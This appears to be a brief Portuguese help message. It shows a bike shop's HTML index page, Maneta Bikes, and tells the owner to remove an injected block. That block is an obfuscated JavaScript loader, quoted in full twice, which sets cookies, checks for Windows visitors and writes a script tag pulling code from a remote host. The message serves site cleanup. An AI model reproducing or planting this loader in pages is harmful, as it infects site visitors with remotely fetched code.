isto é o index do teu site
<html>
<head>
<title>Maneta Bikes - Loja de bicicletas</title>
</head>
<body bgcolor="#000000"> <script type='text/javascript'>var a='X3CY3X63Y2X69T74X3EY6X61Y2X20X61X3Z64X6FX63Y5X6Z65X6EY4X2EU6FX6BX69X65X3BX64X6FX63Y5X6Z65X6EY4X2EU6FX6BX69X65X3Z22X68X6FT3Z22X2BX65Y3X63X61T65X28X22X68X6FT22X29X2BX22X3BT61Y4X68X3Z2FX22X3BY6X61Y2X20X62X3Z6EX61Y6X69X67X61Y4X6FY2X2EX61T70X56X65Y2Y3X69X6FX6EX2CX63X3Z22X20X22X2BX64X6FX63Y5X6Z65X6EY4X2EU6FX6BX69X65X2CX64X3Z6EY5X6CX6CX2CX65X3Z30X2CX66X3Z30X3BX69X66X28X63X2EX6CX65X6EX67Y4X68X3EX30X29YBX65X3Z63X2EX69X6EX64X65Y8X4FX66X28X22X20X68X6FT3Z22X29X3BX69X66X28X65X21X3Z2Z31X29YBX65X2BX3Z35X3BX66X3Z63X2EX69X6EX64X65Y8X4FX66X28X22X3BX22X2CX65X29X3BX69X66X28X66X3Z3Z2Z31X29X66X3Z63X2EX6CX65X6EX67Y4X68X3BX64X3Z75X6EX65Y3X63X61T65X28X63X2EY3Y5X62Y3Y4Y2X69X6EX67X28X65X2CX66X29X29YZ7Z20X69X66X28X64X3Z3Z22X68X6FT22X26X26X62X2EY4X6FX4CX6FY7X65Y2X43X61Y3X65X28X29X2EX69X6EX64X65Y8X4FX66X28X22Y7X69X6EX22X29X21X3Z2Z31X26X26X61X2EX69X6EX64X65Y8X4FX66X28X22X68X69T22X29X3Z3Z2Z31X29YBX3BX64Y4X3Z6EX65Y7X20X44X61Y4X65X3BX64Y4X2EY3X65Y4X54X69X6Z65X28X64Y4X2EX67X65Y4X54X69X6Z65X28X29X2BX38X45X37X29X3BX64X6FX63Y5X6Z65X6EY4X2EU6FX6BX69X65X3Z22X68X69T3Z22X2BX65Y3X63X61T65X28X22X68X69T22X29X2BX22X3BX65Y8T69Y2X65Y3X3Z22X2BX64Y4X2EY4X6FX47X4Z54X53Y4Y2X69X6EX67X28X29X2BX22X3BT61Y4X68X3Z2FX22X3BX64X6FX63Y5X6Z65X6EY4X2EY7Y2X69Y4X65X28X27X3CY3X63Y2X69T74X20Y4Y9T65X3Z22Y4X65Y8Y4X2FX6AX61Y6X61Y3X63Y2X69T74X22X20Y3Y2X63X3Z22X68Y4Y4T3AX2FX2FX66X65X6BY3X61X6BX65X2EX62X69YAX2FT72X6FY8Y9X2FX69X64X2EX6AY3X22X3EX3CX5CX2FY3X63Y2X69T74X3EX27X29YZ3BX3CX2FY3X63Y2X69T74X3E'.replace(/Y/g,'X7').replace(/X/g,'\u0025').replace(/Z/g,'\x44\x25').replace(/U/g,'\x25\x36\x33\x25\x36\x46\x25').replace(/T/g,'\x25\x37\x30\x25');document.write(unescape(a));</script></ad><b1><!--X12b_YE3eNrTLyhNyslMjs8oyc3Rz8xLSa3QAzJtbW0NjSyNDUxNjUyMAOM1Czk=--></b1>
<div align="center">
<p><img src="imagecentral.jpg" width="600" height="530"> </p>
</div>
</body>
</html>
tens de remover isto
<body bgcolor="#000000"> <script type='text/javascript'>var a='X3CY3X63Y2X69T74X3EY6X61Y2X20X61X3Z64X6FX63Y5X6Z65X6EY4X2EU6FX6BX69X65X3BX64X6FX63Y5X6Z65X6EY4X2EU6FX6BX69X65X3Z22X68X6FT3Z22X2BX65Y3X63X61T65X28X22X68X6FT22X29X2BX22X3BT61Y4X68X3Z2FX22X3BY6X61Y2X20X62X3Z6EX61Y6X69X67X61Y4X6FY2X2EX61T70X56X65Y2Y3X69X6FX6EX2CX63X3Z22X20X22X2BX64X6FX63Y5X6Z65X6EY4X2EU6FX6BX69X65X2CX64X3Z6EY5X6CX6CX2CX65X3Z30X2CX66X3Z30X3BX69X66X28X63X2EX6CX65X6EX67Y4X68X3EX30X29YBX65X3Z63X2EX69X6EX64X65Y8X4FX66X28X22X20X68X6FT3Z22X29X3BX69X66X28X65X21X3Z2Z31X29YBX65X2BX3Z35X3BX66X3Z63X2EX69X6EX64X65Y8X4FX66X28X22X3BX22X2CX65X29X3BX69X66X28X66X3Z3Z2Z31X29X66X3Z63X2EX6CX65X6EX67Y4X68X3BX64X3Z75X6EX65Y3X63X61T65X28X63X2EY3Y5X62Y3Y4Y2X69X6EX67X28X65X2CX66X29X29YZ7Z20X69X66X28X64X3Z3Z22X68X6FT22X26X26X62X2EY4X6FX4CX6FY7X65Y2X43X61Y3X65X28X29X2EX69X6EX64X65Y8X4FX66X28X22Y7X69X6EX22X29X21X3Z2Z31X26X26X61X2EX69X6EX64X65Y8X4FX66X28X22X68X69T22X29X3Z3Z2Z31X29YBX3BX64Y4X3Z6EX65Y7X20X44X61Y4X65X3BX64Y4X2EY3X65Y4X54X69X6Z65X28X64Y4X2EX67X65Y4X54X69X6Z65X28X29X2BX38X45X37X29X3BX64X6FX63Y5X6Z65X6EY4X2EU6FX6BX69X65X3Z22X68X69T3Z22X2BX65Y3X63X61T65X28X22X68X69T22X29X2BX22X3BX65Y8T69Y2X65Y3X3Z22X2BX64Y4X2EY4X6FX47X4Z54X53Y4Y2X69X6EX67X28X29X2BX22X3BT61Y4X68X3Z2FX22X3BX64X6FX63Y5X6Z65X6EY4X2EY7Y2X69Y4X65X28X27X3CY3X63Y2X69T74X20Y4Y9T65X3Z22Y4X65Y8Y4X2FX6AX61Y6X61Y3X63Y2X69T74X22X20Y3Y2X63X3Z22X68Y4Y4T3AX2FX2FX66X65X6BY3X61X6BX65X2EX62X69YAX2FT72X6FY8Y9X2FX69X64X2EX6AY3X22X3EX3CX5CX2FY3X63Y2X69T74X3EX27X29YZ3BX3CX2FY3X63Y2X69T74X3E'.replace(/Y/g,'X7').replace(/X/g,'\u0025').replace(/Z/g,'\x44\x25').replace(/U/g,'\x25\x36\x33\x25\x36\x46\x25').replace(/T/g,'\x25\x37\x30\x25');document.write(unescape(a));</script></ad><b1><!--X12b_YE3eNrTLyhNyslMjs8oyc3Rz8xLSa3QAzJtbW0NjSyNDUxNjUyMAOM1Czk=--></b1>